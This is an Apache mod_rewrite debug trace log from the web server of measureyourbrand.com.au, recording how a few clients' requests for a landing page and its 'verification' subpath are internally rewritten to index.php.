[Mon Nov 10 18:43:58.249148 2025] [rewrite:trace4] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.249157 2025] [rewrite:trace2] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.249157 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.249157 2025] [rewrite:trace2] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.249163 2025] [rewrite:trace2] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.249172 2025] [rewrite:trace1] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.690868 2025] [rewrite:trace3] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c114000/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/ -> , referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.690938 2025] [rewrite:trace3] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c114000/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri '', referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.690956 2025] [rewrite:trace4] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c114000/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.690988 2025] [rewrite:trace4] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c114000/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.690997 2025] [rewrite:trace4] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c114000/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/' pattern='!-d' => not-matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.691018 2025] [rewrite:trace3] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c114000/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/ -> , referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.691018 2025] [rewrite:trace3] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c114000/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri '', referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.691021 2025] [rewrite:trace4] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c114000/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.691031 2025] [rewrite:trace1] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c114000/initial] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.691092 2025] [rewrite:trace3] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c111ff0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php -> index.php, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.691105 2025] [rewrite:trace3] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c111ff0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php', referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.691118 2025] [rewrite:trace4] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c111ff0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:43:58.691140 2025] [rewrite:trace1] [pid 11496:tid 11562] mod_rewrite.c(505): [client 49.13.164.148:24328] 49.13.164.148 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c111ff0/subreq] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:44:00.587445 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587509 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587523 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587542 2025] [rewrite:trace4] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587571 2025] [rewrite:trace4] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587584 2025] [rewrite:trace4] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587595 2025] [rewrite:trace2] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587606 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587629 2025] [rewrite:trace2] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587641 2025] [rewrite:trace2] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587651 2025] [rewrite:trace1] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004f7b0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587796 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004aab8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587812 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004aab8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587821 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004aab8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587833 2025] [rewrite:trace4] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004aab8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587845 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004aab8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587855 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004aab8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587870 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004aab8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587883 2025] [rewrite:trace4] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004aab8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.587893 2025] [rewrite:trace1] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004aab8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588110 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588133 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588149 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588171 2025] [rewrite:trace4] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588193 2025] [rewrite:trace4] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588207 2025] [rewrite:trace4] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588222 2025] [rewrite:trace2] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588232 2025] [rewrite:trace3] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588242 2025] [rewrite:trace2] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588252 2025] [rewrite:trace2] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.588261 2025] [rewrite:trace1] [pid 11495:tid 11537] mod_rewrite.c(505): [client 185.220.100.246:38008] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384004b790/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:00.963956 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964011 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964028 2025] [rewrite:trace4] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964047 2025] [rewrite:trace4] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964060 2025] [rewrite:trace4] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964088 2025] [rewrite:trace2] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964100 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964112 2025] [rewrite:trace2] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964124 2025] [rewrite:trace2] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964133 2025] [rewrite:trace1] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0180d0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964230 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cb428/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964246 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cb428/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964256 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cb428/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964268 2025] [rewrite:trace4] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cb428/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964279 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cb428/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964295 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cb428/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964306 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cb428/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964365 2025] [rewrite:trace4] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cb428/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964376 2025] [rewrite:trace1] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cb428/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964581 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
